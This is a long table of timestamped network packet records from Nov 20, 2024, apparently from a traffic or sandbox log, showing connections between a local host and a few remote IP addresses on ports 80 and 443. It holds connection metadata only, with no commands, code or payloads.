Nov 20, 2024 00:19:19.081440926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081454039 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.081454992 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081490040 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.081825972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081864119 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.081942081 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081953049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081964016 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081974983 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081989050 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.081989050 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.082010031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.082014084 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.082021952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.082036018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.082046986 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.082050085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.082063913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.082072973 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.082099915 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.082192898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.082207918 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.082242966 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.082271099 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.099106073 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.111928940 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.119385958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.119430065 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.119453907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.119466066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.119555950 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.119565964 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.119568110 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.119580984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.119601011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.119605064 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.119637012 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.120404959 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.120415926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.120434999 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.120451927 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.120474100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.120486975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.120506048 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.120512009 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.120523930 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.120547056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.121550083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121562958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121581078 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121587038 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.121593952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121606112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121615887 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.121617079 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121639013 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.121754885 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121792078 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.121882915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121956110 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121977091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121990919 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.121993065 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.122025013 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.122144938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122395039 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122407913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122421980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122431993 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.122442007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122458935 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122473001 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122473955 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.122484922 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122495890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122505903 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.122509956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122519016 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.122555017 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.122559071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122571945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122582912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122602940 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.122915983 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122929096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122939110 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122950077 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122961044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122962952 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.122972965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122978926 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.122984886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.122996092 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123007059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123018026 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123018026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123028994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123039007 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123040915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123060942 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123100042 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123112917 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123123884 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123135090 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123136044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123162031 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123369932 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123380899 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123390913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123400927 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123409986 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123413086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123436928 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123461962 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123492956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123506069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123533010 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123548985 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123554945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123555899 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123558044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123565912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123577118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123589039 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123600006 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123630047 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123728991 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123765945 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123801947 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123820066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123850107 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123852968 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.123862028 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.123898983 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.138396025 CET	443	49772	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.139211893 CET	49772	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.139225960 CET	443	49772	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.139703035 CET	49772	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.139709949 CET	443	49772	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.140527964 CET	443	49773	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.141050100 CET	49773	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.141083002 CET	443	49773	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.141462088 CET	49773	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.141468048 CET	443	49773	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.151153088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.151175022 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.151186943 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.151226997 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.151356936 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.151369095 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.151382923 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.151391983 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.151402950 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.151422024 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.153050900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.153095007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.153095007 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.153110981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.153146029 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.153148890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.153166056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.153197050 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.153438091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.153492928 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.153529882 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.155108929 CET	443	49771	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.155177116 CET	443	49771	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.155229092 CET	49771	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.155363083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.155404091 CET	49771	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.155421972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.155428886 CET	443	49771	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.155435085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.155455112 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.155456066 CET	49771	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.155462027 CET	443	49771	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.155524969 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.155536890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.155548096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.155560017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.155561924 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.155582905 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.159543991 CET	49778	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.159581900 CET	443	49778	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.159635067 CET	49778	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.162094116 CET	49778	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.162117958 CET	443	49778	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.170931101 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.170945883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.170957088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.170972109 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.170993090 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.171066046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171365023 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171379089 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171390057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171401978 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171407938 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.171412945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171425104 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171430111 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.171437979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171449900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171462059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171474934 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.171490908 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.171506882 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.171622992 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171634912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171653986 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171665907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171674013 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.171678066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171691895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171704054 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.171704054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171715021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171729088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171731949 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.171740055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171750069 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.171753883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.171783924 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.174360991 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.187952042 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.208903074 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.208925009 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.208942890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.208947897 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.208950043 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.208955050 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.208991051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.208997965 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.209005117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.209024906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.209058046 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.209754944 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.209785938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.209793091 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.209798098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.209832907 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.209887981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.209898949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.209909916 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.209920883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.209933043 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.209959030 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.211394072 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211395979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211400032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211410046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211421967 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211432934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211445093 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211448908 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.211486101 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.211744070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211755991 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211766958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211805105 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.211834908 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211846113 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211855888 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211872101 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.211879015 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.211905003 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.211934090 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212127924 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212138891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212151051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212167978 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212173939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212188959 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212188959 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212203026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212220907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212234974 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212260962 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212270021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212285042 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212300062 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212337971 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212404013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212441921 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212517977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212529898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212539911 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212553978 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212565899 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212567091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212579966 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212620020 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212629080 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212713003 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212806940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212817907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212830067 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212837934 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212840080 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212852955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212863922 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212884903 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.212917089 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212929010 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212939978 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212953091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212965965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.212975979 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.213000059 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.213078976 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213092089 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213113070 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.213193893 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213205099 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213215113 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213231087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213233948 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.213248014 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.213287115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213325024 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.213347912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213361979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213395119 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.213437080 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213480949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213493109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213504076 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.213514090 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.213541985 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.233838081 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.233907938 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.235735893 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.235753059 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.236129045 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.240658998 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.240673065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.240694046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.240704060 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.240710974 CET	49765	80	192.168.2.6	185.215.113.16
